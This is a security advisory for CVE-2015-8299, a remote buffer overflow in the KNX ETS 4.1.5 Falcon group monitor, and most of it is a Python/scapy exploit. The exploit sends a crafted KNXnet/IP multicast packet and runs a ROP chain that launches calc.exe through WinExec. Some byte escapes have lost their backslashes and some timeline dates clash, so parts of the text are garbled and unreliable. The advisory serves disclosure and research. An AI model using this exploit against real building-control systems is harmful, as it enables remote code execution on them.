KNX ETS 4.1.5 Build 3246 Buffer Overflow
Posted on 25 November 2015
#### Title: Remote code execution vulnerability in the KNX management software ETS #### Category/Abstract: Buffer overflow vulnerability #### Product: ETS (Engineering Tool Software) #### Affected versions: * ETS 4.1.5 (Build 3246) *no other versions tested* #### Fixed in version: *unknown* #### Vendor: KNX Association #### Impact: Critical #### CVE number: CVE-2015-8299 #### Timeline * `2013-10-11` identification of vulnerability * `2013-10-??` 1st vendor contact, no-reply of vendor on issue * `2013-07-30` 2nd vendor contact, no-reply of vendor on issue * `2013-10-06` 3rd vendor contact, no-reply of vendor on issue * `2015-07-14` contact cve-request@mitre. #### Credits: Aljosha Judmayer `ajudmayer@sba-research.org` (SBA Research) #### References: * Information on ETS: http://www.knx.org/de/knx-tools/ets4/einfuehrung/ * KNX Association: http://www.knx.org/ #### Description: The vulnerability is caused by a buffer overflow in a memcpy operation when parsing specailly crafted KNXnet/IP packets in the Group messages monitor (aka. Falcon). An according proof-of-concept exploit which was tested on an affected ETS version installed on a Windows XP SP3 can be found below. The proof-of-concept exploit generates the UDP packet which triggers the vulnerability and should at least crash the application (it requires python and scapy to run). #### Proof-of-concept: Since this is just a PoC the ROP chain was not carefully selected and might require adaptation to reproduce the desired results on your system. knAx.py: ``` #!/usr/bin/env python """ ETS4 buffer overflow exploit PoC This is a Proof-of-Concept (PoC) remote exploit of a ETS4 which is currently running the monitoring software for group messages aka. "Groupenmonitor". This feature of the ETS4 runs an executable called "Falcon.exe" which is vulnerable to a buffer overflow. The vulnerable function gets called at: 0043C994 call overflow_43C743 This function, which is responsible for the overflow, is located at 0x43c743. The "memcpy" which produces the overflow gets called at: 0043C931 call memcpy Vulnerable version: ETS 4.1.5 (Build 3246) Stammdaten: Version 57, Schema 1.1 registry key: "NET Framework Setup" v2.0.50727 -version 2.2.30729 v4 -version 4.0.30319 ETS4.exe LegalCopyright: Copyright xa9 2010-2012 KNX Association cvba, Brussels, Belgium Assembly Version: 4.1.3246.36180 InternalName: ETS4.exe FileVersion: 4.1.3246.36180 CompanyName: KNX Association cvba Comments: ETS4 Application ProductName: ETS4 ProductVersion: 4.1.3246.36180 FileDescription: ETS4 OriginalFilename: ETS4.exe Falcon.exe LegalCopyright: Copyright (C) 2000-2008 KNX Association, Brussels, Belgium InternalName: Falcon FileVersion: 2.0.5184.4346 CompanyName: KNX Association SpecialBuild: 2011.01.16 LegalTrademarks: KNX Association OLESelfRegister: ProductVersion: 2.0 FileDescription: Falcon OriginalFilename: Falcon.ex Tested on: Windows XP SP3 32bit This exploit uses return-oriented-programming techniques. The gadgets used for ROP are: ole32.dll:"0x774fdb5b","33c0c3","0x774fdb5b: xor eax, eax | 0x774fdb5d: ret | " ole32.dll:"0x77550f6f","83c064c3","0x77550f6f: add eax, 64h | 0x77550f72: ret | " ole32.dll:"0x774ff447","03c4c24e77","0x774ff447: add eax, esp | 0x774ff449: ret 774eh | " user32.dll:"0x7e467666","94c3","0x7e467666: xchg esp, eax | 0x7e467667: ret | " The exploit requires root privelages to send the crafted packet and the scapy python module! PoC and vuln. discovery by aljosha judmayer """ from struct import pack,unpack from scapy.all import * # --- variables --- ip_dest = "224.0.23.12" udp_dport = 3671 udp_sport = 3671 sys_iface = "vboxnet0" # <= CHANGE ME! to external network interface # --- knxhdr="x06x10x05x30x01xb2" knxmsg="xacx01x81xa9xe3xacxcbx44xffxa2x67xcdx03x6fx05xe4x58x19xaex65x1bx14x38x4dx83x60x06" padding="x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41" def test(): """ this should terminate the Falcon.exe process """ exit="xfaxcax81x7c" # ExitProcess 0x7c81cafa, or 0xffffffff for seg fault sendpayload(knxhdr + knxmsg + padding + exit) return def exploit(): """ This constructs a ROP payload and sends it. Because of stack manipulation after the overflow we need to jump over some bytes. Therefore the esp is increased. """ eip = pack("<L",0x774fdb5b) # xor eax,eax ;zero out register eip += pack("<L",0x77550f6f) # add eax,64h ;add jump distance eip += pack("<L",0x774ff447) # add eax,esp ;add the current position of esp eip += pack("<L",0x7e467666) # xchg esp,eax ;load the new esp address # --- padding ret-sled as NOP-sled eip += pack("<L",0x77550f72)*28 # ret ;use ret as nop # --- str chunk 1 eip += pack("<L",0x7752f82a) # pop ecx ;load string eip += "calc" # "calc" ;string eip += pack("<L",0x774faf34) # pop eax ;load dst. address eip += pack("<L",0x7ffdf8f4) # f4f8fd7f ;dst address eip += pack("<L",0x77593502) # mov [eax], ecx ;copy ecx to [eax] # --- str chunk 2 eip += pack("<L",0x7752f82a) # pop ecx ;load string eip += ".exe" # ".exe" ;string eip += pack("<L",0x774faf34) # pop eax ;load dst. address eip += pack("<L",0x7ffdf8f4+4) # f4f8fd7f +4 ;dst address + 4 eip += pack("<L",0x77593502) # mov [eax], ecx ;copy str. to dst. # --- call WinExec() eip += pack("<L",0x7c8623ad) # address of WinExec() eip += pack("<L",0x7c81cafa) # ret after WinExec(), into ExitProcess 0x7c81cafa eip += pack("<L",0x7ffdf8f4) # address of string #DEBUG #ostr = "\x".join("{:02x}".format(ord(c)) for c in eip) #print "\x%s" %ostr sendpayload(knxhdr + knxmsg + padding + eip) return def sendpayload(payload): """ send scapy udp payload """ pkt=Ether(dst="01:00:5e:00:17:0c")/IP(dst=ip_dest)/UDP(dport=udp_dport,sport=udp_sport)/payload #pkt.show2() #DEBUG hexdump(pkt) sendp(pkt, iface=sys_iface) return def sendpkt(pkt): """ send scapy pkt on layer 2, no auto stuff """ #pkt.show2() #DEBUG hexdump(pkt) sendp(pkt, iface=sys_iface) return def main(): exploit() return 0 if __name__ == "__main__": sys.exit(main()) ```